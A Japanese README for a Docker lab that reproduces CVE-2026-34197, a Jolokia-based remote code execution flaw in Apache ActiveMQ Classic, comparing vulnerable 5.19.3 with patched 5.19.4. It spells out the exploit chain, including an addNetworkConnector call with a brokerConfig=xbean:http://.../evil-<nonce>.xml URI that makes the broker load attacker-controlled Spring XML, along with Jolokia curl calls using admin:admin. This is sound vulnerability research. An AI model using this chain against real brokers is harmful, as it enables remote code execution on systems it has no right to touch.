
DockerラボでCVE-2026-34197を実演します。これはApache ActiveMQ ClassicのJolokiaを介したRCEです。安全な検出器と、固定コマンドを使用したローカルのみのPoCが含まれており、脆弱なバージョンとパッチ適用済みバージョンを比較します。
このリポジトリは、Jolokia JMX-HTTP API 経由で到達可能な Apache ActiveMQ Classic のリモートコード実行問題である CVE-2026-34197 を研究するためのローカル Docker ラボです。
このラボでは、2つの ActiveMQ Classic インスタンスを並べて比較します:
| サービス | バージョン | 目的 | URL |
|---|---|---|---|
vuln | 5.19.3 | 脆弱なターゲット | http://127.0.0.1:8081 |
patched | 5.19.4 | パッチ適用済み比較ターゲット | http://127.0.0.1:8082 |
このリポジトリには2つの証明スクリプトが含まれています:
| スクリプト | 目的 | 安全性モデル |
|---|---|---|
poc/detect.py | 認可された検出器 | HTTP のみ。悪用はしない |
poc/poc.py | ローカルのみの RCE パス証明 | 固定コマンドのみ: id; whoami; sleep 5 |
実行の証拠は、strace などのプロセス観測ツールを使用して、オペレーターが別途検証します。
CVE-2026-34197 は、認証されたユーザーが Jolokia API を使用してブローカー管理操作を呼び出し、細工された brokerConfig=xbean:http://... URI を通じてブローカー JVM に攻撃者制御の Spring XML をロードさせることができる Apache ActiveMQ Classic のバージョンに影響します。
このラボで実証される脆弱なフローは次のとおりです:
Jolokia /api/jolokia/
-> Broker MBean 操作
-> addNetworkConnector(java.lang.String)
-> static:(vm://...?brokerConfig=xbean:http://...)
-> リモート Spring XML フェッチ
-> ProcessBuilder Bean 初期化
-> 固定ローカル証明コマンド
パッチ適用済みサービスは、XML がフェッチされる前にこのパスをブロックし、次のようなエラーを返します:
VM scheme is not allowed
.
├── docker-compose.yml
├── vuln
│ └── Dockerfile
├── patched
│ └── Dockerfile
├── poc
│ ├── detect.py
│ └── poc.py
├── images
│ └── strace.png
├── README.md
└── .gitignore
docker-compose.yml は、脆弱な ActiveMQ サービスとパッチ適用済み ActiveMQ サービスを実行します。vuln/Dockerfile は Apache ActiveMQ Classic 5.19.3 をビルドします。patched/Dockerfile は Apache ActiveMQ Classic 5.19.4 をビルドします。poc/detect.py は、Jolokia の露出、ActiveMQ のバージョン、Broker MBean の可視性をチェックします。poc/poc.py は、固定された無害なコマンドを使用してローカルのみの RCE パスをトリガーします。images/strace.png には、脆弱なサービスからのローカルプロセス観測の証拠が含まれています。.gitignore は、ローカルアーティファクト、Python キャッシュファイル、仮想環境、ログ、シークレットを除外します。このリポジトリは、ローカルラボでの使用および認可されたセキュリティ検証のみを目的としています。
PoC は意図的に制約されています:
id; whoami; sleep 5。strace などのオペレーター制御による個別の観測に依存します。poc.py で許可されるローカルターゲット:
127.0.0.1
localhost
::1
所有していない、またはテストする明示的な許可がないシステムに対してこのリポジトリを使用しないでください。
docker compose down -v
docker compose build
docker compose up -d
サービスステータスの確認:
docker compose ps
期待されるサービス:
cve-2026-34197-vuln Up / healthy
cve-2026-34197-patched Up / healthy
脆弱なサービスの確認:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool
パッチ適用済みサービスの確認:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8082' \
http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool
期待されるバージョン:
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4
poc/detect.py は安全なデフォルトスクリプトです。ターゲットを悪用しません。
以下をチェックします:
/api/jolokia/version にアクセスできるかどうか;python3 -m venv .venv
source .venv/bin/activate
pip install requests
python poc/detect.py \
-t http://127.0.0.1:8081 \
-t http://127.0.0.1:8082 \
-u admin \
-p admin \
-v
期待される結果:
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE
http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE
検出器は、次の場合にターゲットを LIKELY_VULNERABLE としてマークします:
Jolokia にアクセス可能
+
ActiveMQ バージョンが影響を受ける範囲内
このラボで使用される影響を受ける範囲:
5.x < 5.19.4
6.x < 6.2.3
Broker MBean の可視性は、悪用パスがブローカー管理操作に依存するため、信頼性の証拠として使用されます。
検出器は CONFIRMED_RCE を主張しません。
poc/poc.py は、ローカル Docker ラボで RCE パスを実証します。
ホスト上で一時的な HTTP サーバーを起動し、実行ごとのパスで Spring XML ペイロードを提供します:
/evil-<nonce>.xml
次に、Jolokia を通じて ActiveMQ Broker MBean を呼び出します:
addNetworkConnector(java.lang.String)
細工されたディスカバリ URI を使用:
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)
脆弱なブローカーはこの XML をフェッチします。パッチ適用済みブローカーは、XML をフェッチする前に vm:// トランスポートスキームをブロックします。
脆弱な実行後、作成された NetworkConnector が古い XML パスのフェッチを再試行する場合があります。スクリプトは、実行ごとの nonce を使用し、誤検知を避けるために matches_current_run を追跡します。
ヒットは、次の条件に一致する場合にのみ現在の実行としてカウントされます:
/evil-<current-nonce>.xml
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
期待される出力:
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true
これにより、ActiveMQ 5.19.3 が Jolokia 管理ブローカーパスを通じて攻撃者制御の Spring XML をフェッチできることが確認されます。
python poc/poc.py \
--target http://127.0.0.1:8082 \
-u admin \
-p admin
期待される出力:
VM scheme is not allowed
[-] No XML fetch observed for this run.
古い脆弱な実行からのヒットが表示される場合、次のように表示されるはずです:
"matches_current_run": false
これらはパッチ適用済みサービスの成功としてカウントされません。
PoC スクリプトはコマンド出力を収集しません。コマンド実行を確認するには、脆弱なコンテナ内のプロセス作成を観察します。
root として脆弱なコンテナに入ります:
docker exec -it --user root cve-2026-34197-vuln bash
Java プロセスを見つけます:
pgrep -af java
Java PID に strace をアタッチします:
strace -f -e execve -p <JAVA_PID>
別のターミナルで、脆弱なサービスに対して PoC を実行します:
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
期待される strace の証拠:
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)
これは、固定された証明コマンドがブローカー JVM によって実行されたことを示す OS レベルの証拠です。

PoC は、トリガーする前にデフォルトの NetworkConnector 名 NC の削除を試みます。これにより、繰り返しのラボ実行が予測可能に保たれます。
手動クリーンアップ:
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
-H 'Content-Type: application/json' \
-X POST \
http://127.0.0.1:8081/api/jolokia/ \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}' | python3 -m json.tool
またはラボを再起動します:
docker compose restart vuln patched
| テスト | 脆弱な 5.19.3 | パッチ適用済み 5.19.4 |
|---|---|---|
detect.py | LIKELY_VULNERABLE | NOT_AFFECTED_BY_VERSION |
| Jolokia アクセス | 認証付きでアクセス可能 | 認証付きでアクセス可能 |
| Broker MBean | 表示可能 | 表示可能 |
poc.py XML フェッチ | はい | いいえ |
| パッチ適用済みブロックシグネチャ | N/A | VM scheme is not allowed |
| strace コマンドの証拠 | /bin/sh -c 'id; whoami; sleep 5' | 期待されない |